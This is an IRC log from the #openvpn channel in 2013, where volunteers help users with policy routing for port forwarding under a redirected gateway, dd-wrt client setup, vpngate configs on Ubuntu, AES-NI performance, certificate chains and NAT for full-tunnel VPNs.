13:33 < hrenovo> hi. I have openvpn set up with redirect. It seems that my port forward rules in the router are no longer working. How can I set up port forward rules now ?
13:33 < hrenovo> please help this is very important. I have been trying to figure this out for the past couple of days and no luck
13:33 < hrenovo> no help on openvpn forums either.
13:34 < pekster> Set up policy routing
13:34 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
13:35 < hrenovo> pekster: iptables policy routing  on the server side ?
13:35 < pekster> policy routing is beyond just "iptables"
13:35 < pekster> And no, it's on the client. Your setup is a VPN client with a redirected gateway behind a NAT device at your network uplink, right?
13:37 < hrenovo> thats right
13:38 < pekster> You have asymettric routing
13:39 < hrenovo> on the client when I connect to the VPN server which is located on the remote location internet works. whatismyip.com shows the WAN ip address of the vpn server, which is good and what I want. However, all the forwarding rules on the local router where the client is connected to are no longer working.
13:39 < pekster> Packet comes in from outside, gets NAT'd inside, and the client sends it back to the outside host over its redirected route. You need to set up policy routing on the *client* to keep that DNAT'd traffic going back out your physical interface
13:39 < pekster> Right. Set up policy routing
13:40 < jzaw> else decide if you really want all data going down the vpn ?
13:40 < hrenovo> I do
13:40 < pekster> This is somewhat non-trivial and will require both netfilter (aka "iptables") setup to associate the outbound traffic with the inbound connection, and iproute2's 'ip route' and 'ip rule' support
13:40 < jzaw> i had a similar but reverse problem
13:41 < hrenovo> is there a guide somewhere or an example on how to achieve this ?
13:41 < jzaw> i didnt want to send all data down the vpn but have public ips on the lan
13:41 < pekster> LARTC's howto is where you want to start hrenovo
13:41 < jzaw> http://nerdboys.com/2006/05/05/conning-the-mark-multiwan-connections-using-iptables-mark-connmark-and-iproute2/
13:41 <@vpnHelper> Title: Conning the Mark: Multiwan connections using IPTables, MARK, CONNMARK and iproute2 | Nerd Boys (at nerdboys.com)
13:42 < jzaw> this helped enormously ^^^
13:42 < pekster> hrenovo: At a high level, you can probably use CONNMARK to mark connections arriving in on the physical interface, then copy it to the nfmark in mangle/PREROUTING, and have 'ip rule' send it to a secondary routing table that uses your physical uplink, not the VPN, as the default route
13:42 < jzaw> dont forget the adendum
13:42 < jzaw> http://nerdboys.com/2006/05/08/multiwan-connections-addendum/
13:42 <@vpnHelper> Title: Multiwan connections addendum | Nerd Boys (at nerdboys.com)
13:43 < jzaw> pekster, thats what that page describes
13:43 < jzaw> works nicely
13:46 < hrenovo> as a test I just turned off firwall on the client but still no log with a port forward rule (
13:48 < pekster> Your issue is a lot more complex than a firewall. It has to deal with the return route
13:49 < hrenovo> so its on the server side ?
13:50 < jzaw> no
13:50 < jzaw> have a look at that nerd boys article
13:50 < hrenovo> I am reading the article you gave me
13:50 < hrenovo> http://nerdboys.com/2006/05/05/conning-the-mark-multiwan-connections-using-iptables-mark-connmark-and-iproute2/
13:50 <@vpnHelper> Title: Conning the Mark: Multiwan connections using IPTables, MARK, CONNMARK and iproute2 | Nerd Boys (at nerdboys.com)
13:50 < jzaw> you have requests coming in one interface ... and replies going out the other
13:51 < jzaw> you have to make sure traffic coming in one interface has replies going out the same interface
13:51 < pekster> Is the client Linux? Looking back, I can't tell if the server or client was defined to use Linux/netfilter
13:51 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
13:52 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
13:53 < hrenovo> client is Win7
13:53 < hrenovo> server is Debian 6
13:54 < pekster> Then you're basically screwed
13:54 < jzaw> wah wah oops
13:54 < pekster> Windows will not do policy routing for you, at least not without one heck of a lot of OS modification
13:54 < jzaw> (sorry)
13:54 < hrenovo> ok
13:54 < pekster> Go buy a $800 "server OS" if you want to do advanced routing with Windows. Or download a $0 open-source distro of your choice that does more for less
13:55 < jzaw> a £10 tp-link router can do just fine as the openvpn client with your windows box behind it
13:55 < hrenovo> This is a gaming computer so linux won't do the job for gaming
13:55 < pekster> Sure, embedded firmware would qualify as a "non-crappy" OS too
13:56 < pekster> If it's Linux or BSD based
13:56  * jzaw pats his wr740n with a grin
13:56 < hrenovo> I think making not everything use VPN interface on the client would be the only solution
13:56 < jzaw> openwrt ftw
13:56 < hrenovo> I have dd-wrt router
13:57 < hrenovo> firware*
13:57 < hrenovo> firmware*
13:57 < jzaw> check out openvpn for that ?
13:57 < pekster> OpenVPN can run on that if you have the resources, and you can do policy routing there
13:57 < pekster> You'll probably need at least 8MB flash and 32MB RAM. Any less and you'll be seriously pushing the limits of either resource
13:58 < hrenovo> so I guess I should set up openvpn client in the dd-wrt instead ?
13:58 < jzaw> defo
13:58 < pekster> I've done openvpn + openwrt on 4MB flash and 16MB RAM, but it was a really tight fit and I had to build a customized firmware to rip out everything except the absolute basics
13:58 < pekster> (I build my own firmware anyway, but I had to rip out pretty much all the non-essentials, making it a very unpleasant experience)
13:59 < jzaw> though to put a postive on it ... i have 4MB flash and 32MB ram in mine seemingly
13:59 < hrenovo> I had openvpn server set up in dd-wrt a few years ago it was working fine for 3-4 clients at the same time
13:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:59 < jzaw> remind me pekster you using openwrt?
13:59 < pekster> The RAM makes a bit difference, especially if you keep a lot of state
13:59 < pekster> big* (yes, I have 2 Asus routers running OpenWRT, one as a testing device and another as my live home router)
13:59 < jzaw> just dont try to torrent
14:00 < hrenovo> so if I set up openvpn as a client in dd-wrt, will I be able to do all the forwarding rules in dd-wrt instead ?
14:00 < pekster> I have an internal rtorrent system on 24/7 duty behind my IPv4 NAT
14:00 < jzaw> ah ditto i have a second test hot spare
14:00 < jzaw> hrenovo, defo worth a try
14:00 < hrenovo> jzaw: defo ?
14:00 < pekster> hrenovo: You should. I'm less familiar with dd-wrt than I am with OpenWRT, but they're similar approaches
14:00 < jzaw> id also say im a ddwrt fan but have found openwr way more capable
14:01 < jzaw> defo -> definitely
14:01 < hrenovo> oh ok
14:01 < pekster> From what I've seen, OpenWRT is more polished and flexible, but I haven't dealt a lot with dd-wrt since I didn't like what I've seen at a glance, so I'm not a fair person to ask to compare them
14:03 < hrenovo> I know what you are saying about dd-wrt being not the best
14:03 < jzaw> so hrenovo id say your dd-wrt is the way to go
14:03 < jzaw> else have a look at openwrt
14:03 < jzaw> how much flash do you have in that router?
14:04 < pekster> RAM's important too. Especially if the WebUI hasn't been removed with a custom firmware, I'd say any less than 32MB and it straight up won't work with webIF + openvpn + NAT state
14:05 < jzaw> well with 4MB flash it wouldnt even fit in the bin
14:05 < hrenovo> NVRAM used 26.42 KB / 32 KB
14:05 < hrenovo> if that's what you mean by flash
14:05 < pekster> Nope
14:05 < jzaw> try free
14:06 < jzaw> df -h
14:06 < jzaw> i mean
14:06 < pekster> You want to check both of those
14:06 < hrenovo> memory Total Available 121.5 MB / 128.0 MB
14:06 < hrenovo> oh
14:06 < hrenovo> hang on
14:06 < pekster> df -h for free flash storage, and 'free' for memory
14:06 < pekster> 128M, yes, that's plenty
14:06 < pekster> For RAM
14:07 < jzaw> if he's got 128 im sure hell have 8 +
14:07 < hrenovo> df -h http://fpaste.org/3wFa/
14:07 < jzaw> if i'd had even 5MB flash id have fitted luci and ovpn on with ip mtr and other tools
14:08 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
14:08 < hrenovo> I don't know why its only 2.1
14:08 < hrenovo> I think this is how dd-wrt created partitions
14:08 < pekster> hrenovo: That's just the size of the built firmware
14:08 < hrenovo> just for whatever it needs
14:08 < jzaw> thats the size of the bin rather than the capacity of your flash
14:08 < jzaw> whats the model?
14:09 < jzaw> should have asked that first ;)
14:09 < pekster> No clue why dd-wrt is still using nvram though. OpenWRT has jffs2 storage. dd-wrt (at least your release) is living in the embedded dark-ages
14:10 < hrenovo> I think it should be pretty easy for me to set up a client in dd-wrt
14:10 < hrenovo> I am going to give dd-wrt a try
14:10 < hrenovo> if dd-wrt is not going to do what I need then I guesss I will try openwrt
14:11 < pekster> jzaw: fwiw, I have a 4MB flash unit as my live gateway now, and without LuCI I built my firmware with QoS, wol, nc, vnstat, mtr, and tcpdump. I still have ~800k left over for my jffs2 partition
14:11 < pekster> hrenovo: dd-wrt should do what you want fine
14:11 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has left #openvpn []
14:11 < jzaw> indeed .. no luci either
14:12 < pekster> You just need to install the package for openvpn, provided you have enough space
14:12 < pekster> I *might* be able to get openvpn installed using my USB-attached storage, but the 16MB RAM is a limiting factor with how much NAT state I push
14:12 < hrenovo> I am not sure if I should use a web gue to set up openvpn client in ddwrt, or should I just use a command line ?
14:13 < hrenovo> I have a centos box where I set it up as an openvpn client, should be a similar approach in dd-wrt cli I suppose ?
14:14 < jzaw> i just used the same confs in openwrt ... theres the uci conf ... but one of the first things you can do is direct it o use the *standard* conf
14:16 < hrenovo> ok I will give it a try
14:16 < hrenovo> thanks guys
14:16 < hrenovo> I am going to go work on it )
14:16 < pekster> If you have access to another system, why not run the VPN on one and run the services you want to expose externally on another?
14:16 < pekster> Unless you for some reason need them on the same host?
14:17 < pekster> Optionally, set up a proxy on your server if all the stuff you want to redirect is SOCKS-aware
14:19 < hrenovo> thats another idea
14:19 < jzaw> are your games socks aware?
14:19 < hrenovo> I doubt it
14:21 < hrenovo> I used to direct everything to localhost running ssh tunnel port
14:22 < jzaw> i know that well :)
14:22 < hrenovo> this way i had control over what goes through server ip what doesn't
14:24 < jzaw> and ssh -D socks proxy with foxyproxy in FF and Chrome for selective url based routing
14:24 < jzaw> esp for iPlayer :)
14:26 -!- Orbi [~opera@anon-186-207.vpn.ipredator.se] has joined #openvpn
14:30 -!- paccer [uid4847@gateway/web/irccloud.com/x-fuhvmuewsewqosqb] has quit []
14:31 < hrenovo> so once dd-wrt is set as openvpn client. how can I then get ports forwarded?
14:32 < hrenovo> or they will just work the way they are set up now on the main interface
14:39 < jzaw> youll have to do the policy routing as per that article
14:39 < jzaw> it looks vvvv complex
14:39 < jzaw> but once you break it down its actually very systematic
14:39 < jzaw> and i simple wrote a small script to add the rules/tables and routing
14:39 < jzaw> and its all good
14:41 < jzaw> s/simple/simply
14:41 < hrenovo> wow this has beena  while
14:42 < hrenovo> I can't figure out how to set up dd-wrt as a client
14:42 < jzaw> hehe
14:42 < hrenovo> jzaw: )
14:43 < jzaw> oh ive just remebered the policy routing is  an openvpn upscript    and i reverse the steps with a downscript
14:43 < hrenovo> there is PPTP Client enable button in dd-wrt gui
14:45 < hrenovo> and then the options that web gui provides for vpn client configuration are confusing )
14:45 < hrenovo> lol
14:49  * Moonlightning wonders if this channel would help him with setting up dnsmasq for his VPN, or if he should go elsewhere.
14:53 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 255 seconds]
14:54 <@EugeneKay> !splitdns
14:54 <@vpnHelper> "splitdns" is see http://www.thekelleys.org.uk/dnsmasq/doc.html for dnsmasq, which will let you do split-dns setups
14:54 <@EugeneKay> I've never used dnsmasq myself.
14:57 < Moonlightning> Uhh
14:57 < Moonlightning> That just lists its features and links to a github page XD
14:59 <@EugeneKay> Well that's more help than I can give you on the subject.
15:00 < Moonlightning> 6_9
15:00 <@EugeneKay> You're not quite as cute as the sort of people I proposition for that sort of thing
15:01  * Moonlightning blinks
15:01 < Moonlightning> wha?
15:02 -!- brute11k [~brute@89.249.231.25] has quit [Ping timeout: 245 seconds]
15:04 -!- brute11k [~brute@89.249.231.207] has joined #openvpn
15:09 <@krzee> Moonlightning, the dnsmasq config and manpage tells you everything you need to know, what are you having a problem with?
15:33 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-uvvdxxxitmkzrjzy] has quit [Remote host closed the connection]
15:33 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-qzrzmacjtvmhecvl] has quit [Remote host closed the connection]
15:38 -!- hrenovo [~hrenovo@ool-4352bbfe.dyn.optonline.net] has joined #openvpn
15:38 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-eijohlbmhmiqudkq] has joined #openvpn
15:40 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
15:45 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 276 seconds]
15:46 -!- jetole [~jetole@24-145-70-207-dhcp.mia.fl.atlanticbb.net] has joined #openvpn
15:47 < jetole> Hey guys. Can anyone help me out with openvpn ha? I have two firewalls at one data center each has a static IP as well as a floating IP via keepalived. What's the best way to make sure a office always has a connection to that data center and vice versa?
15:54 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
16:03 < hrenovo> reading the dd-wrt wiki for setting up the openvpn-client
16:03 < hrenovo> http://www.dd-wrt.com/wiki/index.php/VPN_%28the_easy_way%29_v24%2B#Client_Configuration_-_DD-WRT
16:03 <@vpnHelper> Title: VPN (the easy way) v24+ - DD-WRT Wiki (at www.dd-wrt.com)
16:04 < hrenovo> they are saying I need to specify server ip and port in web gui but there is no option for port under services - vpn - enable PPTP client
16:07 -!- hrenovo [~hrenovo@ool-4352bbfe.dyn.optonline.net] has quit [Quit: I quit]
16:11 -!- Moonlightning is now known as Moonlightning|Do
16:16 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:23 <@EugeneKay> PPTP != OpenVPN
16:26 -!- jtrucks is now known as techmuse
16:26 -!- techmuse is now known as jtrucks
16:33 -!- mete [~mete@mete.shell.la] has joined #openvpn
16:34 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:37 -!- Orbi [~opera@anon-186-207.vpn.ipredator.se] has left #openvpn []
16:39 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-eijohlbmhmiqudkq] has quit [Remote host closed the connection]
16:39 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-fvngcxyivybmxzrf] has quit [Remote host closed the connection]
16:39 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-tqsehbizhqmabbvz] has quit [Remote host closed the connection]
16:39 -!- lmm [uid6417@gateway/web/irccloud.com/x-qqqpgzbjnutctnyt] has quit [Remote host closed the connection]
16:49 -!- Moonlightning|Do is now known as Moonlightning
16:56 < jetole> I'm surprised PPTP even qualifies as VPN at all
16:58 < plaisthos> jetole: just google mpls vpn :D
16:58 < plaisthos> vpn does not necessarly mean encryption
17:02 < jetole> plaisthos: I know. PPTP is still ancient
17:03 < jetole> I remember running a poptop PPTP server once upon a time
17:08 < dioz> pptp = gre right?
17:09 < dioz> protocol 47 ?
17:39 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Remote host closed the connection]
17:50 -!- Mr_Worldwide [~Mr_Worldw@vpnfree.pp.ua] has joined #openvpn
17:50 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
17:50 < Mr_Worldwide> hello i have aproble
17:51 < Mr_Worldwide> cannot acces the www.vpngate.net project here in ubuntu i download the .ovpn files but when i try to import them into the network manager no way cannot save that
17:52 < Mr_Worldwide> anyone who will or can help?
17:54 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
17:57 < Mr_Worldwide> no one....
17:57 < MacGyver> !vpngate
17:57 < MacGyver> Hmm, nothing?
17:57 < MacGyver> !networkmanager then
17:58 < MacGyver> !networkmanager
17:58 < MacGyver> ...
17:58 < Mr_Worldwide> ?
17:58 < MacGyver> Is this because I fail?
17:58 < MacGyver> !ubuntu
17:58 <@vpnHelper> "ubuntu" is dont use network manager!
17:58 < MacGyver> Ah, there we go.
17:58 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
17:58 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
17:58 < Mr_Worldwide> can you help me pls?
17:59 < MacGyver> No. Networkmanager sucks. I don't use it, and I'd recommend you don't either.
18:00 < Mr_Worldwide> are you abe to handle that? can you take a look and say me how i can access on ubuntu?
18:01 < Mr_Worldwide> in the forum they say intall openvpn and type man openvpn...  not more.... i can post the link
18:02 < MacGyver> No.
18:02 < MacGyver> I'm not vpngate's support person.
18:02 < MacGyver> Find an alternative for networkmanager, read up on how this stuff works.
18:02 < MacGyver> I'm not giving VPN 101 courses.
18:03 < MacGyver> Maybe somebody else will - I'm just not going to.
18:03 < Mr_Worldwide> http://forum.vpngate.net/viewtopic.php?f=11&t=203&sid=f2c483706fdcb76e605ee38b328b24a2 here have a look
18:03 <@vpnHelper> Title: SoftEther VPN User Forum View topic - Ubuntu Version (at forum.vpngate.net)
18:05 < Mr_Worldwide> very easy....
18:05 < Mr_Worldwide> im a newbie in ubuntu too so pls help
18:06 < MacGyver> No. Do what it says there.
18:06 < MacGyver> Install openvpn, type man openvpn.
18:06 < MacGyver> At least *read* a little.
18:06 < Mr_Worldwide> its too much you know
18:06 < MacGyver> Tough luck for you then.
18:07 < Mr_Worldwide> and my english is also not the best... come on
18:07 < MacGyver> You don't have to read each option. OpenVPN also has a very good howto.
18:07 < MacGyver> !howto
18:07 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:07 < MacGyver> That's as much as you're getting from me, until you've read about how this works. Good luck, and have a nice night.
18:09 < Mr_Worldwide> i just want to know how i can add the file to openvpn that i can from the vpngate project here in ubuntu when this not works with the network manager
18:10 < Mr_Worldwide> in windows its easy
18:28 < Mr_Worldwide> i found a video in youtube so i try good night
18:28 -!- Mr_Worldwide [~Mr_Worldw@vpnfree.pp.ua] has quit [Quit: Verlassend]
18:29 -!- brute11k [~brute@89.249.231.207] has quit [Quit: Leaving.]
18:32 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
18:34 -!- Raimondi_ [~israelcha@c-66-176-1-237.hsd1.fl.comcast.net] has joined #openvpn
18:43 -!- Mr_Worldwide [~Mr_Worldw@dhcp19-15.telecom.ece.ntua.gr] has joined #openvpn
18:43 < Mr_Worldwide> i have do this
18:44 < MacGyver> Welcome back!
18:44 < Mr_Worldwide> hi im from greece now nice
18:44 < MacGyver> Now, this time I promise I won't be a total arsehole.
18:44 < MacGyver> And you have read and informed yourself a bit.
18:44 < Mr_Worldwide> https://www.youtube.com/watch?v=HuzLjR-1pgE this video helps me
18:44 <@vpnHelper> Title: Configure OpenVPN in Ubuntu Linux - YouTube (at www.youtube.com)
18:44 < MacGyver> So let's start again.
18:44 < Mr_Worldwide> i have done
18:45 < Mr_Worldwide> no probles
18:45 < Raimondi_> Hi there. I use Tunnelblick and I see that it's possible to connect to more than one server. When would I need that?
18:45 -!- Raimondi_ is now known as Raimondi
18:45 < Mr_Worldwide> im from greece now all good but thanks
18:46 < MacGyver> Ah. Well, if you're not having anymore problems...
18:46 < Mr_Worldwide> https://www.youtube.com/watch?v=HuzLjR-1pgE this video helps me
18:46 <@vpnHelper> Title: Configure OpenVPN in Ubuntu Linux - YouTube (at www.youtube.com)
18:46 < Raimondi> more than one server at the same time*
18:46 < Mr_Worldwide> so good night
18:46 < Mr_Worldwide> thx
18:46 < MacGyver> Sorry I was harsh on you before, I've had my patience tested a few times earlier today and you had the unfortunate pleasure of my venting.
18:47 < Mr_Worldwide> bye
18:47 -!- Mr_Worldwide [~Mr_Worldw@dhcp19-15.telecom.ece.ntua.gr] has quit [Client Quit]
18:47 < MacGyver> Raimondi: Suppose you need to connect to two corporate VPNs at the same time.
18:48 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jaabcuinivbmpsst] has joined #openvpn
18:48 < MacGyver> Raimondi: Or to your corporate VPN for the corporate data you need, and to your private VPN for secure internet to the outside world.
18:48 < MacGyver> Raimondi: Use cases exist.
18:49 < mete> good evening
18:50 < MacGyver> 'lo.
18:51 < Raimondi> MacGyver: Thanks. That makes sense and it's something good to keep in mind, I might need it at some point.
18:51 < mete> does openvpn support the AES-NI instructions? anyone knows?
18:54 < pekster> mete: If it's supported by openssl as an engine, yes. See the --engine directive
18:55 < mete> ok thanks :)
18:56 -!- Raimondi [~israelcha@c-66-176-1-237.hsd1.fl.comcast.net] has left #openvpn ["WeeChat 0.4.0"]
18:56 < mete> my "old" intel xeon quadcore firewalls with openvpn on it are to slow today... so I will get something new with aes-ni ;)
18:56 < mete> thank you very much pekster
18:57 < pekster> Be sure you correctly identify your bottleneck. OpenVPN is single-threaded, so you might also run into limits due to the number of clients and amount of bandwidth you're pushing too
18:58 < pekster> (regardless of what hardware acceleration you use)
19:00 < mete> I've ~10 openvpn processes, my bottleneck is the amount of total cpu speed at some boxes :( openvpn (all processes) uses ~250% cpu and the rest of it goes away for QoS, routing, nat
19:01 < pekster> Ah, so you're already dividing the client load between multiple instances to use all the cores then?
19:03 < mete> I've many site to site vpn's each have an individual process to balance the load
19:04 < mete> I will replace in these days then the most loaded box to see how it reduced the cpu load :)  I think some E5-2620 should be enough, 6x 2.0ghz
19:04 < pekster> Right, but my point is any one instance will never use more than 1 core (so 25% possible CPU on a 4-core platform) since it's a single-threaded application. AES-NI can help improve throughput of that one core by offloading some of the crypto functions to the hardware engine, but not the remainder of the CPU-bound tasks
19:05 < mete> mostly each openvpn process is using max 15% cpu actually
19:05 <@EugeneKay> !gigabit
19:05 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
19:05 <@EugeneKay> Good reading ^
19:08 < mete> thank EugeneKay
19:09 < mete> I think aes-ni solves my problem, but I will try to optimize my setup a bit ;)
19:11 < mete> over ~300mbps I can't get here per connection because of the peering ;)
19:28 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
19:58 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: leaving]
20:09 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:10 -!- newbie|2 [~tjz@bb116-14-142-13.singnet.com.sg] has quit [Quit: quit irc]
20:11 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:21 -!- lmm [uid6417@gateway/web/irccloud.com/x-xyoxvgetpmtbpmeo] has joined #openvpn
20:31 -!- murph [~murph@185.3.135.10] has quit [Ping timeout: 252 seconds]
20:35 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-fyoygazeaaauqdnv] has joined #openvpn
20:47 -!- murph [~murph@99-4-166-43.lightspeed.caryil.sbcglobal.net] has joined #openvpn
20:58 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
21:08 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-iprbmupgplzgdsdn] has joined #openvpn
21:12 -!- Starthunder [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
21:12 -!- Starthunder [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Client Quit]
21:14 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
21:14 -!- ccherret1 [~christoph@184.70.186.190] has joined #openvpn
--- Log closed Sun Mar 31 21:24:17 2013
--- Log opened Sun Mar 31 21:24:32 2013
21:24 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
21:24 -!- Irssi: #openvpn: Total of 171 nicks [7 ops, 0 halfops, 0 voices, 164 normal]
21:25 -!- kfreds_ [~kfreds@slask.mullvad.net] has joined #openvpn
21:25 -!- Irssi: Join to #openvpn was synced in 39 secs
21:25 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Excess Flood]
21:25 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Write error: Broken pipe]
21:25 -!- joshie [~josh@joshie.net] has quit [Remote host closed the connection]
21:25 -!- kfreds [~kfreds@slask.mullvad.net] has quit [Write error: Broken pipe]
21:26 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:28 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:38 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
21:38 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
21:38 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
21:38 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
21:38 -!- Some_Person [~someperso@unaffiliated/someperson/x-249303] has joined #openvpn
21:38 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
21:38 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
21:38 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
21:38 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
21:38 -!- ServerMode/#openvpn [+o dazo] by niven.freenode.net
21:39 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
21:41 -!- Champi_ [Champi@rootshell.fr] has joined #openvpn
21:41 -!- VisionNL_ [~anonymous@tuig.nikhef.nl] has joined #openvpn
21:41 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
21:42 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
21:43 -!- pa [~pa@unaffiliated/pa] has quit [Excess Flood]
21:43 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Write error: Broken pipe]
21:43 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
21:43 -!- timmmaaaayyy_ [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
21:43 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:44 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
21:47 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
21:49 -!- Netsplit *.net <-> *.split quits: zarrsh, jzaw, VisionNL, samael, Champi, ScriptFanix
21:49 -!- Champi_ is now known as Champi
21:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
21:57 -!- Netsplit over, joins: ScriptFanix, samael
21:57 -!- samael is now known as Guest48755
22:06 -!- ccherrett [~christoph@184.70.186.190] has quit [Ping timeout: 240 seconds]
22:09 -!- ccherrett [~christoph@184.70.186.190] has joined #openvpn
22:13 -!- ccherrett [~christoph@184.70.186.190] has quit [Ping timeout: 246 seconds]
22:14 -!- ccherrett [~christoph@184.70.186.190] has joined #openvpn
22:33 -!- jtrucks is now known as troll
22:43 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
22:44 < benedikt> I have a CA key that signed an intermediary CA which in turn has signed server and client keys
22:44 < benedikt> It isnt working
22:44 < benedikt> I have verified that the interm ca was signed by the master ca
22:45 < benedikt> (openssl verify -verbose -CAFile <path to ca cert> <path to interm ca cert>
22:45 < benedikt> but im unable to verify that e.g. the server key was signed by the interm ca (openssl verify -verbose -CAfile <iterm> <server>)
22:46 < benedikt> error: "error 20 at 0 depth lookup:unable to get local issuer certificate". This is the same error as in syslog from openvpn
22:47 < benedikt> What am i missing here?
22:47 <@EugeneKay> Your --cert's need to be a cert chain
22:47 <@EugeneKay> cat $CN.crt intermediary.crt > CN-chain.crt
22:47 <@EugeneKay> Then use that for the --cert
22:48 < benedikt> cat server.crt intermediary.crt > server-chain.crt ?
22:48 <@EugeneKay> Yup
22:50 < benedikt> I run "openssl verify -verbose -CAfile ca.crt beta-server-chain.crt" to the same result
22:50 <@EugeneKay> It isn't `openssl` that matters; it's `openvpn` ;-)
22:50 < benedikt> oh dear. this isnt a standard openvpn setup
22:51 <@EugeneKay> I'm not quite sure how to verify an intermediate with openssl
22:53 < benedikt> well, how do i do it with openvpn?
22:55 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
22:55 <@EugeneKay> See above
22:56 < benedikt> i can't find "--verify" in "man openvpn"
22:57 <@EugeneKay> There's no such option.
22:57 < sailerboy> Sup. I was wondering if anyone may be able to help me out with OpenVPN? I followed the guide in the wiki, and I'm able to get my client to connect to my server, but it doesn't seem that any routing has been done at all. My iptables policy for the FORWARD chain is set to accept, and I used this command "iptables -A POSTROUTING -t nat -s 10.8.0.0/24 -j SNAT --to 209.141.57.195" for SNAT. I can't ping a
22:57 < sailerboy> static ip address like 8.8.8.8, and DNS resolving doesn't seem to work either. My server.conf is here: http://sprunge.us/CLSL
22:57 <@EugeneKay> https://community.openvpn.net/openvpn/wiki/Using_Certificate_Chains
22:57 <@vpnHelper> Title: Using_Certificate_Chains – OpenVPN Community (at community.openvpn.net)
22:58 <@EugeneKay> !goal
22:58 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
22:58 <@EugeneKay> sailerboy ^
22:58 < benedikt> EugeneKay: thanks
22:58 < sailerboy> EugeneKay, I would like to route all internet traffic through my server
22:59 <@EugeneKay> !redirect
22:59 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:59 <@vpnHelper> http://ircpimps.org/redirect.png
22:59 < benedikt> sailerboy: google "arch simple stateful firewall wiki".
